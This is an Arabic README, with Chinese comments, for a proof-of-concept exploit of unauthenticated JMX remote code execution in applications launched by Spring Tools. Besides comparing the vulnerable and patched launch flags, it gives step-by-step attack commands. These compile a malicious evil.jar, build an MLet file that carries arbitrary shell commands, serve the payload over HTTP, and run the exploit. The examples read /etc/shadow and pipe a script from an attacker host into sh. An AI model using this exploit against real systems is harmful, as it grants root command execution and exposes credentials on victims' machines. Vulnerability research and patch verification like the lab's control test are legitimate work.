
استغلال إثبات المفهوم لثغرة تنفيذ الأكواد عن بُعد (RCE) عبر JMX بدون مصادقة في وضع المعلومات المباشر لـ Spring Tools، وذلك باستخدام تحميل الفئات عن بُعد عبر MLet لتنفيذ أوامر عشوائية على تطبيقات Spring Boot المعرضة للخطر.
English README | إشعار الثغرة الأمنية: Spring Security Advisory | CVE Record
الثغرة: عند تشغيل تطبيق Spring Boot باستخدام Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0 في وضع live information (المفعّل افتراضيًا)، يتم حقن معاملات JMX عن بُعد بدون مصادقة، وبدون TLS، ومربوطة بجميع واجهات الشبكة في التطبيق. يمكن لمهاجم على شبكة مجاورة الاتصال بـ JMX MBeanServer هذا دون بيانات اعتماد، وتحقيق RCE مباشر (بصلاحيات root) عبر التحميل البعيد للفئات باستخدام MLet.
AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:Hبمقارنة الوسم المتأثر 5.2.0.RELEASE (== v2.2.0) مع وسم الإصلاح 5.3.0.RELEASE (== v2.3.0):
النسخة المصابة eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:
"-Dcom.sun.management.jmxremote", // 启用 JMX
"-Dcom.sun.management.jmxremote.port=<随机空闲端口>",
"-Dcom.sun.management.jmxremote.authenticate=false", // 无认证!
"-Dcom.sun.management.jmxremote.ssl=false", // 无 TLS!
"-Djava.rmi.server.hostname=localhost", // 唯一"障碍": RMI stub 通告 localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*" // 全部 actuator 端点经 JMX 暴露
BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true: مُفعَّل افتراضيًا، وفي كل مرة يتم فيها تشغيل تطبيق Boot من IDE تُحقن المعاملات المذكورة أعلاه.vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) تحقن نفس -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false.النسخة المُصلَّحة 5.3.0:
-Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true (يرتبط JMX بواجهة الاسترجاع فقط).com.sun.management.jmxremote* إطلاقًا، بل يتم الاعتماد على الإرفاق المحلي عبر Attach API حسب PID العملية (وينطبق الأمر نفسه على جانب VSCode، حيث أُزيلت معاملات JMX البعيدة نهائيًا من debug-config-provider.ts).ملاحظة: ظهور
-Dcom.sun.management.jmxremote.portبمفرده يُفعِّل وكيل JMX (دون الحاجة إلى المفتاح الرئيسيcom.sun.management.jmxremote)، وينطبق الأمر ذاته على نسخة VSCode.
السكربتان منفصلان تمامًا: setup-lab.sh مسؤول فقط عن إعداد البيئة، و**attack.sh مسؤول فقط عن الاستغلال الهجومي**. المتطلبات: docker، وJDK 17+ (الافتراضي /usr/lib/jvm/java-21-openjdk-amd64)، وmaven، وpython3، وnsenter (اختياري).
setup-lab.sh)./setup-lab.sh vuln # 漏洞配置 (5.2.0 参数) [默认]
./setup-lab.sh fixed-pinned # 修复版 5.3.0 固定端口 (JMX 仅 127.0.0.1)
./setup-lab.sh fixed-auto # 修复版 5.3.0 默认 auto (无远程 JMX 端口)
./setup-lab.sh cleanup # 停止并删除容器与网络
الإكمال التلقائي: بناء تطبيق Spring Boot الضحية ← إنشاء شبكة docker bridge معزولة (حاوية الضحية 172.22.0.x، المهاجم على المضيف، محاكاة الشبكة المجاورة) ← تشغيل التطبيق وفق معاملات JVM الخاصة بالإصدار المقابل ← عرض منفذ استماع JMX ← إخراج IP الجهاز الضحية / منفذ JMX / البوابة. تبقى حاوية الضحية قيد التشغيل، ويمكن الانتقال مباشرة إلى خطوة الهجوم التالية.
attack.sh)./attack.sh <受害机IP> 19090 "id; whoami; uname -a" 8000
# 自定义命令(默认 id; hostname; uname -a,改命令无需重编译)
PAYLOAD_HOST=172.22.0.1 ./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000
أتمتة باستخدام السكربت: تجميع jar الخبيث ← توليد mlet.txt (تُمرَّر الأوامر عبر <ARG>) ← تشغيل خدمة HTTP لتوفير الحمولة ← تنفيذ الاستغلال. الحمولة تنفّذ الأمر فقط وتعيد الإخراج: يُنفَّذ الأمر عبر /bin/sh -c بشكل متزامن داخل JVM الضحية، ويُلتقط الإخراج في الذاكرة، ثم يستدعيه برنامج الاستغلال عبر نفس اتصال JMX بـ Pwn.getOutput() لجلبه إلى جهة المهاجم وعرضه مباشرة (بما في ذلك رمز الخروج)، دون كتابة أي ملف على الجهاز المستهدف. إذا أردت إبقاء الإخراج على الجهاز المستهدف أيضًا، فأعد التوجيه بنفسك داخل الأمر (مثل "id > /tmp/out.txt").
تجربة ضابطة: أولًا
./setup-lab.sh vulnينجح الهجوم؛ ثم./setup-lab.sh cleanup && ./setup-lab.sh fixed-pinnedيجب أن يفشل الهجوم (JMX على الواجهة المحلية فقط).
attack.sh (موصى به)الأمر قابل للتهيئة بالكامل، تغيير الأمر لا يتطلب إعادة تجميع أي شيء (يُمرَّر الأمر عبر وسم MLET <ARG>، والـ jar مستقل عن الأمر):
./attack.sh <目标IP> <JMX端口> "<命令>" [HTTP端口] [受害容器名]
# 示例
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a" # 基本信息
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000 # 读文件
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000 # 管道/反弹等
./attack.sh 192.168.1.20 19090 "id" 8000 # 通用远程目标
# 环境变量
PAYLOAD_HOST=192.168.1.10 ./attack.sh ... # 指定受害机能访问到的本机 IP(默认自动探测)
JDK_DIR=/path/to/jdk ./attack.sh ... # 指定 JDK
العملية: تجميع تلقائي لـ evil.jar → تحويل أوامر XML بعد الهروب لتوليد mlet.txt → تشغيل خدمة HTTP لتوفير evil.jar + mlet.txt → تجميع وتشغيل JmxExploit. الحمولة مسؤولة فقط عن تنفيذ الأوامر وإرجاع المخرجات، دون كتابة أي ملفات على الجهاز الهدف.
# 1) 编译恶意载荷
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .
# 2) 生成 mlet.txt(把 <命令> 换成你的命令,注意 XML 转义 & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<命令>">
</MLET>
EOF
# 3) 提供载荷
python3 -m http.server 8000 --bind 0.0.0.0 # 在 exploit-server 目录下
# 4) 编译并运行利用程序(JDK 17+ 需要 --add-opens 反射改写 RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
-cp classes JmxExploit <目标IP> <JMX端口> "http://<本机IP>:8000/mlet.txt"
# 5) 自行验证命令是否执行(输出在受害应用控制台/日志里,如 docker exec victim tail /app.log)
Pwn بتنفيذ DynamicMBean، ويُنفَّذ الأمر بشكل متزامن عبر /bin/sh -c داخل الدالة البانية (constructor) (الأولوية: معامل MLET <ARG> > متغير بيئة العملية الضحية CVE_PAYLOAD_CMD > الأمر الافتراضي id; hostname; uname -a).Pwn في الذاكرة، ويقوم برنامج الاستغلال بعد التحميل باستدعاء getOutput() / getExitCode() عبر JMX لجلب المخرجات ورمز الخروج وعرضهما على جهة المهاجم؛ لن تُكتب أي ملفات على الجهاز الهدف (باستثناء الآثار الجانبية للأمر نفسه). إذا أردت الاحتفاظ بالمخرجات على الجهاز الهدف في الوقت نفسه، فأعد التوجيه بنفسك داخل الأمر ("id > /tmp/out.txt" أو "id 2>&1 | tee /app.log").